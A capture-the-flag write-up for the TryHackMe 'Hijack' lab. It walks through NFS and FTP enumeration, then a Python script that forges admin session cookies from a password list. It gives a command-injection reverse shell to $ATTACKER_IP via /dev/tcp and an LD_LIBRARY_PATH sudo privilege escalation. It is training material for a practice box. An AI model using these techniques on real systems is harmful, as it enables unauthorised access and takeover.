# Hijack Writeup

This is a writeup for the Tryhackme challenge [Hijack](https://tryhackme.com/room/hijack)

## Enumeration

First, nmap as follows:

```sh
nmap --min-rate 4000 -p- 10.10.16.106
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-21 11:56 CEST
Nmap scan report for 10.10.16.106
Host is up (0.063s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
38490/tcp open  unknown
44511/tcp open  unknown
49338/tcp open  unknown
57526/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 18.56 seconds
```

Since there is an NFS I want to take a look at it.

```sh
showmount -e 10.10.16.106
Export list for 10.10.16.106:
/mnt/share *
```

So, there is a share I can mount in the following way

```sh
mkdir /tmp/nfsfiles
sudo mount -t nfs 10.10.16.106: /tmp/nfsfiles
```

A look at the file permissions tells me, that a user with uid 1003 created the
share. Therefore, a user with the same uid on the local attack machine, where
the share has been mounted, is needed to get permissions to open the directory.

```sh
ls -l nfsfiles/mnt/

drwx------ 2 1003 1003 4096 Aug  8 21:28 share
```

```sh
sudo useradd hijack -u 1003  -m -s /bin/bash
```

Now switch to the user and take a look at the inside of the share.

```sh
sudo su hijack

ls -la nfsfiles/mnt/share/
total 12
drwx------ 2 hijack hijack 4096 Aug  8 21:28 .
drwxr-xr-x 3 root   root   4096 Aug  8 21:28 ..
-rwx------ 1 hijack hijack   46 Aug  8 21:28 for_employees.txt
```

Taking a look at the file provides the following

```sh
cat nfsfiles/mnt/share/for_employees.txt

ftp creds :

ftpuser:XXXXXXXXXXXXXXXXXXXXXXXX
```

Next up, using the credentials on the ftp server

```sh
ftp ftpuser@10.10.16.106
Connected to 10.10.16.106.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||38678|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Aug 08 19:28 .
drwxr-xr-x    2 1002     1002         4096 Aug 08 19:28 ..
-rwxr-xr-x    1 1002     1002          220 Aug 08 19:28 .bash_logout
-rwxr-xr-x    1 1002     1002         3771 Aug 08 19:28 .bashrc
-rw-r--r--    1 1002     1002          368 Aug 08 19:28 .from_admin.txt
-rw-r--r--    1 1002     1002         3150 Aug 08 19:28 .passwords_list.txt
-rwxr-xr-x    1 1002     1002          655 Aug 08 19:28 .profile
226 Directory send OK.
```

Two files are `.from_admin.txt` and
`.password_list.txt` are of special interest . The former file contains the following

```
To all employees, this is "admin" speaking,
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.

NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
```

The latter is a list of random passwords the admin seems to have created earlier.

## Exploitation

At first I tried to circumvent the rate limiting, which took a lot of time and
led nowhere in the end. The key is the `PHPSESSID` cookie, it looked a bit
suspicious so I tried to decode it for the user I created on the page.

```base64
d2h4OmE4ZjVmMTY3ZjQ0ZjQ5NjRlNmM5OThkZWU4MjcxMTBj
```

decoded to

```
whx:a8f5f167f44f4964e6c998dee827110c
```

That hash looked a lot like an md5 hash, so I compared it to the password I used

```sh
echo -n "asdasd" | md5sum
a8f5f167f44f4964e6c998dee827110c  -
```

After that I created a Python script to hash & encode the cookie before iterating
the list and in this way I got the correct password.

```python
import hashlib
import base64
import requests

URL = "http://10.10.16.106/administration.php"

with open ("./ftp/passwords_list.txt", 'r') as _f:
    data = [x.strip() for x in _f.readlines()]

r = requests.get(URL)
page_content = r.text
print(r)

for line in data:
    _hash = hashlib.md5(line.encode('utf-8')).hexdigest().encode('utf-8')
    concat_str = b'admin:' + _hash
    _b64hash = base64.b64encode(concat_str).decode()
    print(_b64hash)
    headers = { "Cookie": f"PHPSESSID={_b64hash}"}
    r = requests.get(URL, headers=headers)
    if len(r.text) > len(page_content):
        print("password: " + line)
        print("cookie: " + _b64hash)
        break
```

After login there is a `Service Status Checker` on the administration page. You
can see the status of services/daemons installed on the box of the challenge through
`systemctl status <command>`. My first impression was to just chain commands
through `;` like `ssh
; id`, but that ended in

> Command injection detected, please provide a service.

Most of the commonly used shells have boolean operators like `&&` and `||` as a
condition for the previous exit status code. For example in bash you can check
the status code of the last command that was executed via `echo $?`. That means `&&` is true if the previous command
would return a `0` otherwise `||` is true and the command afterwards will be
executed.
These operators are not blocked by the page, it is possible to chain commands
like this

```sh
sshd && bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
```

Catch the shell via `nc -lvnp 4444` and [upgrade
it](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/).

## Privilege Escalation

On the target `config.php` contains credentials for the user rick.

```php
 cat config.php
<?php
$servername = "localhost";
$username = "rick";
$password = "XXXXXXXXXXXXXXXXXXX";
$dbname = "hijack";

// Create connection
$mysqli = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($mysqli->connect_error) {
  die("Connection failed: " . $mysqli->connect_error);
}
?>
```

So, I switched to the user using `su rick` and got the first flag inside
`/home/rick/user.txt`. One of the first things to check on gained privileges is the current user's
permissions on  the availability of substituting other users, usually using
sudo.

```sh
su rick
Password: 

rick@Hijack:/var/www/html$ sudo -l
[sudo] password for rick: 
Matching Defaults entries for rick on Hijack:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
    (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
```

Checking permissions did provide the inability to write on any of the files that are contained in the command that can be run through sudo for user rick. That means,
the next best thing to concentrate on is `env_keep+=LD_LIBRARY_PATH`.
[Hacktricks' page on linux privilege
escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
contains [a section for
LD_LIBRARY_PATH](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path). 
I Compiled the library and preloaded it on the same line as the available sudo
command. Through this method I was able to spawn a root shell.

```sh
rick@Hijack:/tmp$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

root@Hijack:/tmp#
```

The flag can be found inside the root directory

```sh
root@Hijack:/tmp# cat /root/root.txt

██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
```

The box was fun :) Thanks to  0utc4s7 and Happy Hacking!
